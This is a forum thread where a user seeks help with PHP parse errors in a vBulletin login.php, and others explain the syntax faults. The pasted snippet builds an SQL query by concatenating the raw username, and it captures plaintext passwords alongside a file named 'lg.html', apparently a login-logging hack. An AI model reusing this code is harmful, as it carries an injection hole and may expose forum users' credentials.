Jump to content

Parse error: syntax error


timebandit

Recommended Posts

hi guys,

 

i appear to be having a problem, my code says

 

Parse error: syntax error, unexpected T_VARIABLE in /home/path/public_html/forums/login.php on line 132

 

i belive this one of the two is line 132

 

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];

Link to comment
Share on other sites

// create new session
process_new_login
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $lg_file = "./includes/lg.html";
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {

Link to comment
Share on other sites

// create new session
//   process_new_login       ->     THIS LINE WASN'T COMMENTED
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $lg_file = "./includes/lg.html";
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {

Link to comment
Share on other sites

hi thanks for the reply but i have a new error now:

 

Parse error: syntax error, unexpected ',' in /home/path/public_html/forums/login.php on line 141

 

      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

Link to comment
Share on other sites

The problem is with some action after your if statement, specifically that there is none:

 

if (
strlen(
	$lg_password
)
> 1 AND strlen(
	$lg_username
) > 1
)
// THE FOLLOWING CODE IS NO LONGER PART OF THE IF STATMENET
($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

 

I believe that PHP hits $vbulletin->GPC['logintype'] and expects you to do something with that variable, specifically assign something to it with =. Instead, you put in a comma and PHP throws a syntax error, unexpected ','.

Link to comment
Share on other sites

Can you give me again the ten lines above and bellow the problem

// create new session
       //   process_new_login       ->     THIS LINE WASN'T COMMENTED
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $lg_file = "./includes/lg.html";
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

// do redirect
do_login_redirect();

}
else if ($_GET['do'] == 'login')
{
// add consistency with previous behavior
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

Link to comment
Share on other sites

The problem is with some action after your if statement, specifically that there is none:

 

 

I believe that PHP hits $vbulletin->GPC['logintype'] and expects you to do something with that variable, specifically assign something to it with =. Instead, you put in a comma and PHP throws a syntax error, unexpected ','.

The problem i am faced with if i do that is:

 

Parse error: syntax error, unexpected $end in /home/path/public_html/forums/login.php on line 315

 

line 315 is only ?>

 

hmm...

Link to comment
Share on other sites

The problem i am faced with if i do that is:

 

Parse error: syntax error, unexpected $end in /home/path/public_html/forums/login.php on line 315

 

line 315 is only ?>

 

hmm...

 

You'll get an unexpected $end error message when a bracket or parenthesis is still open. If you have an editor like jEdit you can simply type } or ) and it will show you where the open bracket is.

 

It could also be from the line before missing a semi-colon but I suspect it is the former and not the latter.

 

If you'd like some help finding where your error is I'm afraid you're going to have to post the entire file's code, there's no way of telling where the open bracket is otherwise.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.